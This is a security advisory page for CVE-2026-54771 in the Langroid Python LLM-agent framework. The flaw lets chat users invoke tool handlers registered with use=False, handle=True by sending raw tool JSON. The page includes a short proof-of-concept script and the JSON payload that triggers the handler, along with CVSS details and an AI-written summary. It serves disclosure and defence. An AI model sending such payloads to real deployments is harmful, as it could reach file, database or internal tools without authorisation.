What is the CVSS score of CVE-2026-54771?

CVE-2026-54771 has a CVSS 3.1 base score of 8.1 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N. EPSS exploitation probability: 0.4%.

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Python CVE-2026-54771

HIGH

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)

2026-07-06 https://github.com/langroid/langroid

GHSA-gjgq-w2m6-wr5q

Python Information Disclosure

8.1

CVSS 3.1 · Vendor: https://github.com/langroid/langroid

Severity by source

Vendor (https://github.com/langroid/langroid) PRIMARY

8.1 HIGH

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/langroid/langroid) · only source for this CVE.

CVSS VectorVendor: https://github.com/langroid/langroid

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

None

Lifecycle Timeline

CVE Published

Jul 06, 2026 - 21:25 cve.org

HIGH 8.1

Analysis Generated

Jul 06, 2026 - 21:23 vuln.today

DescriptionCVE.org

Summary

A Langroid application exposing a chat interface to untrusted users may allow direct tool invocation via raw JSON payloads, even when tools are registered with use=False, handle=True.

Details

enable_message(..., use=False, handle=True) only prevents the LLM from being instructed to generate the tool. The tool dispatch path in agent_response() → handle_message() → get_tool_messages() does not check whether the message originated from Entity.USER or Entity.LLM:

langroid/agent/base.py

As a result, a user who sends raw tool JSON as chat input can directly invoke the handler.

PoC

The following script demonstrates that a tool registered with use=False, handle=True can still be invoked directly by a user-supplied chat message.

python

from langroid.agent.chat_agent import ChatAgent, ChatAgentConfig
from langroid.agent.task import Task
from langroid.agent.tool_message import ToolMessage
from langroid.mytypes import Entity


class SecretTool(ToolMessage):
    request: str = "secret_tool"
    purpose: str = "Return a secret marker"
    value: str

    def handle(self) -> str:
        return f"SECRET:{self.value}"


agent = ChatAgent(ChatAgentConfig())
agent.enable_message(SecretTool, use=False, handle=True)

task = Task(agent, interactive=False, done_if_response=[Entity.AGENT])
result = task.run('{"request":"secret_tool","value":"pwned"}', turns=1)
print(result.content)

Observed result:

python

SECRET:pwned

agent.get_tool_messages(user_msg) returns the parsed tool and agent.handle_message(user_msg) executes it, even though has_tool_message_attempt(user_msg) returns False for USER-origin messages.

Impact

Depending on which handled tools are enabled, the impact can include file read/write, database query execution, or access to internal orchestration tools. Developers may reasonably interpret use=False as meaning the tool is not invocable by end users.

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AnalysisAI

Unauthorized tool invocation in the Langroid Python LLM-agent framework lets a user of an exposed chat interface directly execute server-side tool handlers by sending raw tool JSON, even when the tool was registered with use=False, handle=True. Because the dispatch path (agent_response → handle_message → get_tool_messages) never checks whether a message originated from Entity.USER versus Entity.LLM, the use=False guard — which developers reasonably assume blocks end-user invocation — only stops the LLM from emitting the tool, not a user from calling it. …